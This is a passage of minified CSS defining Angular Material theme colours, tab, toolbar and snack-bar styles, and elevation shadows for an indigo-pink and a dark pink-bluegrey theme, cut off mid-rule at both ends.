.mat-step-icon-state-edit{background-color:#3f51b5;color:#fff}.indigo-pink-theme .mat-step-header.mat-accent .mat-step-icon{color:#fff}.indigo-pink-theme .mat-step-header.mat-accent .mat-step-icon-selected,.indigo-pink-theme .mat-step-header.mat-accent .mat-step-icon-state-done,.indigo-pink-theme .mat-step-header.mat-accent .mat-step-icon-state-edit{background-color:#ff4081;color:#fff}.indigo-pink-theme .mat-step-header.mat-warn .mat-step-icon{color:#fff}.indigo-pink-theme .mat-step-header.mat-warn .mat-step-icon-selected,.indigo-pink-theme .mat-step-header.mat-warn .mat-step-icon-state-done,.indigo-pink-theme .mat-step-header.mat-warn .mat-step-icon-state-edit{background-color:#f44336;color:#fff}.indigo-pink-theme .mat-step-header .mat-step-icon-state-error{background-color:transparent;color:#f44336}.indigo-pink-theme .mat-step-header .mat-step-label.mat-step-label-active{color:#000000de}.indigo-pink-theme .mat-step-header .mat-step-label.mat-step-label-error{color:#f44336}.indigo-pink-theme .mat-stepper-horizontal,.indigo-pink-theme .mat-stepper-vertical{background-color:#fff}.indigo-pink-theme .mat-stepper-vertical-line:before{border-left-color:#0000001f}.indigo-pink-theme .mat-horizontal-stepper-header:before,.indigo-pink-theme .mat-horizontal-stepper-header:after,.indigo-pink-theme .mat-stepper-horizontal-line{border-top-color:#0000001f}.indigo-pink-theme .mat-sort-header-arrow{color:#757575}.indigo-pink-theme .mat-tab-nav-bar,.indigo-pink-theme .mat-tab-header{border-bottom:1px solid rgba(0,0,0,.12)}.indigo-pink-theme .mat-tab-group-inverted-header .mat-tab-nav-bar,.indigo-pink-theme .mat-tab-group-inverted-header .mat-tab-header{border-top:1px solid rgba(0,0,0,.12);border-bottom:none}.indigo-pink-theme .mat-tab-label,.indigo-pink-theme .mat-tab-link{color:#000000de}.indigo-pink-theme .mat-tab-label.mat-tab-disabled,.indigo-pink-theme .mat-tab-link.mat-tab-disabled{color:#00000061}.indigo-pink-theme .mat-tab-header-pagination-chevron{border-color:#000000de}.indigo-pink-theme .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#00000061}.indigo-pink-theme .mat-tab-group[class*=mat-background-]>.mat-tab-header,.indigo-pink-theme .mat-tab-nav-bar[class*=mat-background-]{border-bottom:none;border-top:none}.indigo-pink-theme .mat-tab-group.mat-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-group.mat-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-group.mat-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-group.mat-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#c5cae94d}.indigo-pink-theme .mat-tab-group.mat-primary .mat-ink-bar,.indigo-pink-theme .mat-tab-nav-bar.mat-primary .mat-ink-bar{background-color:#3f51b5}.indigo-pink-theme .mat-tab-group.mat-primary.mat-background-primary>.mat-tab-header .mat-ink-bar,.indigo-pink-theme .mat-tab-group.mat-primary.mat-background-primary>.mat-tab-link-container .mat-ink-bar,.indigo-pink-theme .mat-tab-nav-bar.mat-primary.mat-background-primary>.mat-tab-header .mat-ink-bar,.indigo-pink-theme .mat-tab-nav-bar.mat-primary.mat-background-primary>.mat-tab-link-container .mat-ink-bar{background-color:#fff}.indigo-pink-theme .mat-tab-group.mat-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-group.mat-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-group.mat-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-group.mat-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ff80ab4d}.indigo-pink-theme .mat-tab-group.mat-accent .mat-ink-bar,.indigo-pink-theme .mat-tab-nav-bar.mat-accent .mat-ink-bar{background-color:#ff4081}.indigo-pink-theme .mat-tab-group.mat-accent.mat-background-accent>.mat-tab-header .mat-ink-bar,.indigo-pink-theme .mat-tab-group.mat-accent.mat-background-accent>.mat-tab-link-container .mat-ink-bar,.indigo-pink-theme .mat-tab-nav-bar.mat-accent.mat-background-accent>.mat-tab-header .mat-ink-bar,.indigo-pink-theme .mat-tab-nav-bar.mat-accent.mat-background-accent>.mat-tab-link-container .mat-ink-bar{background-color:#fff}.indigo-pink-theme .mat-tab-group.mat-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-group.mat-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-group.mat-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-group.mat-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ffcdd24d}.indigo-pink-theme .mat-tab-group.mat-warn .mat-ink-bar,.indigo-pink-theme .mat-tab-nav-bar.mat-warn .mat-ink-bar{background-color:#f44336}.indigo-pink-theme .mat-tab-group.mat-warn.mat-background-warn>.mat-tab-header .mat-ink-bar,.indigo-pink-theme .mat-tab-group.mat-warn.mat-background-warn>.mat-tab-link-container .mat-ink-bar,.indigo-pink-theme .mat-tab-nav-bar.mat-warn.mat-background-warn>.mat-tab-header .mat-ink-bar,.indigo-pink-theme .mat-tab-nav-bar.mat-warn.mat-background-warn>.mat-tab-link-container .mat-ink-bar{background-color:#fff}.indigo-pink-theme .mat-tab-group.mat-background-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-group.mat-background-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-group.mat-background-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-group.mat-background-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#c5cae94d}.indigo-pink-theme .mat-tab-group.mat-background-primary>.mat-tab-header,.indigo-pink-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container,.indigo-pink-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination,.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header,.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container,.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination{background-color:#3f51b5}.indigo-pink-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-label,.indigo-pink-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-tab-link,.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-label,.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-tab-link{color:#fff}.indigo-pink-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-label.mat-tab-disabled,.indigo-pink-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-label.mat-tab-disabled,.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#fff6}.indigo-pink-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-focus-indicator:before,.indigo-pink-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-focus-indicator:before,.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-focus-indicator:before,.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-focus-indicator:before{border-color:#fff}.indigo-pink-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#fff;opacity:.4}.indigo-pink-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-ripple-element,.indigo-pink-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-ripple-element,.indigo-pink-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination .mat-ripple-element,.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-ripple-element,.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-ripple-element,.indigo-pink-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination .mat-ripple-element{background-color:#fff;opacity:.12}.indigo-pink-theme .mat-tab-group.mat-background-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-group.mat-background-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-group.mat-background-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-group.mat-background-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ff80ab4d}.indigo-pink-theme .mat-tab-group.mat-background-accent>.mat-tab-header,.indigo-pink-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container,.indigo-pink-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination,.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header,.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container,.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination{background-color:#ff4081}.indigo-pink-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-label,.indigo-pink-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-tab-link,.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-label,.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-tab-link{color:#fff}.indigo-pink-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-label.mat-tab-disabled,.indigo-pink-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-label.mat-tab-disabled,.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#fff6}.indigo-pink-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-focus-indicator:before,.indigo-pink-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-focus-indicator:before,.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-focus-indicator:before,.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-focus-indicator:before{border-color:#fff}.indigo-pink-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#fff;opacity:.4}.indigo-pink-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-ripple-element,.indigo-pink-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-ripple-element,.indigo-pink-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination .mat-ripple-element,.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-ripple-element,.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-ripple-element,.indigo-pink-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination .mat-ripple-element{background-color:#fff;opacity:.12}.indigo-pink-theme .mat-tab-group.mat-background-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-group.mat-background-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-group.mat-background-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-group.mat-background-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ffcdd24d}.indigo-pink-theme .mat-tab-group.mat-background-warn>.mat-tab-header,.indigo-pink-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container,.indigo-pink-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination,.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header,.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container,.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination{background-color:#f44336}.indigo-pink-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-label,.indigo-pink-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-tab-link,.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-label,.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-tab-link{color:#fff}.indigo-pink-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-label.mat-tab-disabled,.indigo-pink-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-label.mat-tab-disabled,.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#fff6}.indigo-pink-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-focus-indicator:before,.indigo-pink-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-focus-indicator:before,.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-focus-indicator:before,.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-focus-indicator:before{border-color:#fff}.indigo-pink-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#fff;opacity:.4}.indigo-pink-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-ripple-element,.indigo-pink-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-ripple-element,.indigo-pink-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination .mat-ripple-element,.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-ripple-element,.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-ripple-element,.indigo-pink-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination .mat-ripple-element{background-color:#fff;opacity:.12}.indigo-pink-theme .mat-toolbar{background:whitesmoke;color:#000000de}.indigo-pink-theme .mat-toolbar.mat-primary{background:#3f51b5;color:#fff}.indigo-pink-theme .mat-toolbar.mat-accent{background:#ff4081;color:#fff}.indigo-pink-theme .mat-toolbar.mat-warn{background:#f44336;color:#fff}.indigo-pink-theme .mat-toolbar .mat-form-field-underline,.indigo-pink-theme .mat-toolbar .mat-form-field-ripple,.indigo-pink-theme .mat-toolbar .mat-focused .mat-form-field-ripple{background-color:currentColor}.indigo-pink-theme .mat-toolbar .mat-form-field-label,.indigo-pink-theme .mat-toolbar .mat-focused .mat-form-field-label,.indigo-pink-theme .mat-toolbar .mat-select-value,.indigo-pink-theme .mat-toolbar .mat-select-arrow,.indigo-pink-theme .mat-toolbar .mat-form-field.mat-focused .mat-select-arrow{color:inherit}.indigo-pink-theme .mat-toolbar .mat-input-element{caret-color:currentColor}.indigo-pink-theme .mat-tooltip{background:rgba(97,97,97,.9)}.indigo-pink-theme .mat-tree{background:white}.indigo-pink-theme .mat-tree-node,.indigo-pink-theme .mat-nested-tree-node{color:#000000de}.indigo-pink-theme .mat-snack-bar-container{color:#ffffffb3;background:#323232;box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.indigo-pink-theme .mat-simple-snackbar-action{color:#ff4081}.indigo-pink-theme a:link,.indigo-pink-theme a:visited{color:#ff80ab;text-decoration:none}.indigo-pink-theme a:hover,.indigo-pink-theme a:focus,.indigo-pink-theme a:active{text-decoration:underline}.indigo-pink-theme a{outline:none}.indigo-pink-theme .confirmation{color:#ff4081}.indigo-pink-theme .ribbon:before{border:5px solid #ff4081}.indigo-pink-theme .ribbon span{background-color:#ff4081}.indigo-pink-theme .error{color:#f44336}.indigo-pink-theme .ribbon-sold:before{border:5px solid #f44336}.indigo-pink-theme .ribbon-sold span{background-color:#f44336}.indigo-pink-theme .primary-notification{background-color:#303f9f}.indigo-pink-theme .accent-notification{background-color:#f50057}.indigo-pink-theme .warn-notification{background-color:#d32f2f}.indigo-pink-theme .img-thumbnail{background-color:#3f51b50d;border:1px solid #3f51b5;border-radius:3px;padding:3px}.indigo-pink-theme .empty-star{stop-color:#3f51b5}.indigo-pink-theme .filled-star{stop-color:#ff4081}.indigo-pink-theme .star-border{stroke:#ff4081}.indigo-pink-theme .mat-snack-bar-container{background-color:#fff!important;color:#000000de!important}.indigo-pink-theme .mat-snack-bar-container.errorBar{color:#f44336!important}.indigo-pink-theme .mat-snack-bar-container.confirmBar{color:#ff4081!important}.indigo-pink-theme .google-button{background-color:#f50057!important}.indigo-pink-theme .deluxe-membership{background:linear-gradient(90deg,#3f51b5 0%,white 100%)}.indigo-pink-theme .overlay{background:rgba(48,63,159,.7)}.pink-bluegrey-theme{--theme-primary: #c2185b;--theme-primary-lighter: #dd1b68;--theme-primary-light: #e42973;--theme-primary-darker: #a7154e;--theme-primary-dark: #951246;--theme-primary-fade-10: rgba(194, 24, 91, .9);--theme-primary-fade-20: rgba(194, 24, 91, .8);--theme-primary-fade-30: rgba(194, 24, 91, .7);--theme-primary-fade-40: rgba(194, 24, 91, .6);--theme-primary-fade-50: rgba(194, 24, 91, .5);--theme-accent: #b0bec5;--theme-accent-lighter: #c2cdd2;--theme-accent-light: #cdd6db;--theme-accent-darker: #9eafb8;--theme-accent-dark: #93a6af;--theme-accent-fade-10: rgba(176, 190, 197, .9);--theme-accent-fade-20: rgba(176, 190, 197, .8);--theme-accent-fade-30: rgba(176, 190, 197, .7);--theme-accent-fade-40: rgba(176, 190, 197, .6);--theme-accent-fade-50: rgba(176, 190, 197, .5);--theme-warn: #f44336;--theme-warn-lighter: #f65e53;--theme-warn-light: #f77066;--theme-warn-darker: #f22819;--theme-warn-dark: #ea1c0d;--theme-warn-fade-10: rgba(244, 67, 54, .9);--theme-warn-fade-20: rgba(244, 67, 54, .8);--theme-warn-fade-30: rgba(244, 67, 54, .7);--theme-warn-fade-40: rgba(244, 67, 54, .6);--theme-warn-fade-50: rgba(244, 67, 54, .5);--theme-text: white;--theme-text-lighter: white;--theme-text-light: white;--theme-text-darker: #e6e6e6;--theme-text-dark: #bfbfbf;--theme-text-fade-10: rgba(255, 255, 255, .9);--theme-text-fade-20: rgba(255, 255, 255, .8);--theme-text-fade-30: rgba(255, 255, 255, .7);--theme-text-fade-40: rgba(255, 255, 255, .6);--theme-text-fade-50: rgba(255, 255, 255, .5);--theme-text-invert-15: #d9d9d9;--theme-text-invert-30: #b3b3b3;--theme-background: #424242;--theme-background-lighter: #515151;--theme-background-light: #5c5c5c;--theme-background-darker: #333333;--theme-background-dark: #292929;--theme-background-darkest: #1e1e1e}.pink-bluegrey-theme .mat-ripple-element{background-color:#ffffff1a}.pink-bluegrey-theme .mat-option{color:#fff}.pink-bluegrey-theme .mat-option:hover:not(.mat-option-disabled),.pink-bluegrey-theme .mat-option:focus:not(.mat-option-disabled){background:rgba(255,255,255,.04)}.pink-bluegrey-theme .mat-option.mat-selected:not(.mat-option-multiple):not(.mat-option-disabled){background:rgba(255,255,255,.04)}.pink-bluegrey-theme .mat-option.mat-active{background:rgba(255,255,255,.04);color:#fff}.pink-bluegrey-theme .mat-option.mat-option-disabled{color:#ffffff80}.pink-bluegrey-theme .mat-primary .mat-option.mat-selected:not(.mat-option-disabled){color:#c2185b}.pink-bluegrey-theme .mat-accent .mat-option.mat-selected:not(.mat-option-disabled){color:#b0bec5}.pink-bluegrey-theme .mat-warn .mat-option.mat-selected:not(.mat-option-disabled){color:#f44336}.pink-bluegrey-theme .mat-optgroup-label{color:#ffffffb3}.pink-bluegrey-theme .mat-optgroup-disabled .mat-optgroup-label{color:#ffffff80}.pink-bluegrey-theme .mat-pseudo-checkbox{color:#ffffffb3}.pink-bluegrey-theme .mat-pseudo-checkbox:after{color:#303030}.pink-bluegrey-theme .mat-pseudo-checkbox-disabled{color:#686868}.pink-bluegrey-theme .mat-primary .mat-pseudo-checkbox-checked,.pink-bluegrey-theme .mat-primary .mat-pseudo-checkbox-indeterminate{background:#c2185b}.pink-bluegrey-theme .mat-pseudo-checkbox-checked,.pink-bluegrey-theme .mat-pseudo-checkbox-indeterminate,.pink-bluegrey-theme .mat-accent .mat-pseudo-checkbox-checked,.pink-bluegrey-theme .mat-accent .mat-pseudo-checkbox-indeterminate{background:#b0bec5}.pink-bluegrey-theme .mat-warn .mat-pseudo-checkbox-checked,.pink-bluegrey-theme .mat-warn .mat-pseudo-checkbox-indeterminate{background:#f44336}.pink-bluegrey-theme .mat-pseudo-checkbox-checked.mat-pseudo-checkbox-disabled,.pink-bluegrey-theme .mat-pseudo-checkbox-indeterminate.mat-pseudo-checkbox-disabled{background:#686868}.pink-bluegrey-theme .mat-app-background,.pink-bluegrey-theme.mat-app-background{background-color:#303030;color:#fff}.pink-bluegrey-theme .mat-elevation-z0{box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.pink-bluegrey-theme .mat-elevation-z1{box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f}.pink-bluegrey-theme .mat-elevation-z2{box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.pink-bluegrey-theme .mat-elevation-z3{box-shadow:0 3px 3px -2px #0003,0 3px 4px #00000024,0 1px 8px #0000001f}.pink-bluegrey-theme .mat-elevation-z4{box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.pink-bluegrey-theme .mat-elevation-z5{box-shadow:0 3px 5px -1px #0003,0 5px 8px #00000024,0 1px 14px #0000001f}.pink-bluegrey-theme .mat-elevation-z6{box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.pink-bluegrey-theme .mat-elevation-z7{box-shadow:0 4px 5px -2px #0003,0 7px 10px 1px #00000024,0 2px 16px 1px #0000001f}.pink-bluegrey-theme .mat-elevation-z8{box-shadow:0 5px 5px -3px #0003,0 8px 10px 1px #00000024,0 3px 14px 2px #0000001f}.pink-bluegrey-theme .mat-elevation-z9{box-shadow:0 5px 6px -3px #0003,0 9px 12px 1px #00000024,0 3px 16px 2px #0000001f}.pink-bluegrey-theme .mat-elevation-z10{box-shadow:0 6px 6px -3px #0003,0 10px 14px 1px #00000024,0 4px 18px 3px #0000001f}.pink-bluegrey-theme .mat-elevation-z11{box-shadow:0 6px 7px -4px #0003,0 11px 15px 1px #00000024,0 4px 20px 3px #0000001f}.pink-bluegrey-theme .mat-elevation-z12{box-shadow:0 7px 8px -4px #0003,0 12px 17px 2px #00000024,0 5px 22px 4px #0000001f}.pink-bluegrey-theme .mat-elevation-z13{box-shadow:0 7px 8px -4px #0003,0 13px 19px 2px #00000024,0 5px 24px 4px #0000001f}.pink-bluegrey-theme .mat-elevation-z14{box-shadow:0 7px 9px -4px #0003,0 14px 21px 2px #00000024,0 5px 26px 4px #0000001f}.pink-bluegrey-theme .mat-elevation-z15{box-shadow:0 8px 9px -5px #0003,0 15px 22px 2px #00000024,0 6px 28px 5px #0000001f}.pink-bluegrey-theme .mat-elevation-z16{box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f}.pink-bluegrey-theme .mat-elevation-z17{box-shadow:0 8px 11px -5px #0003,0 17px 26px 2px #00000024,0 6px 32px 5px #0000001f}.pink-bluegrey-theme .mat-elevation-z18{box-shadow:0 9px 11px -5px #0003,0 18px 28px 2px #00000024,0 7px 34px 6px #0000001f}.pink-bluegrey-theme .mat-elevation-z19{box-shadow:0 9px 12px -6px #0003,0 19px 29px 2px #00000024,0 7px 36px 6px #0000001f}.pink-bluegrey-theme .mat-elevation-z20{box-shadow:0 10px 13px -6px 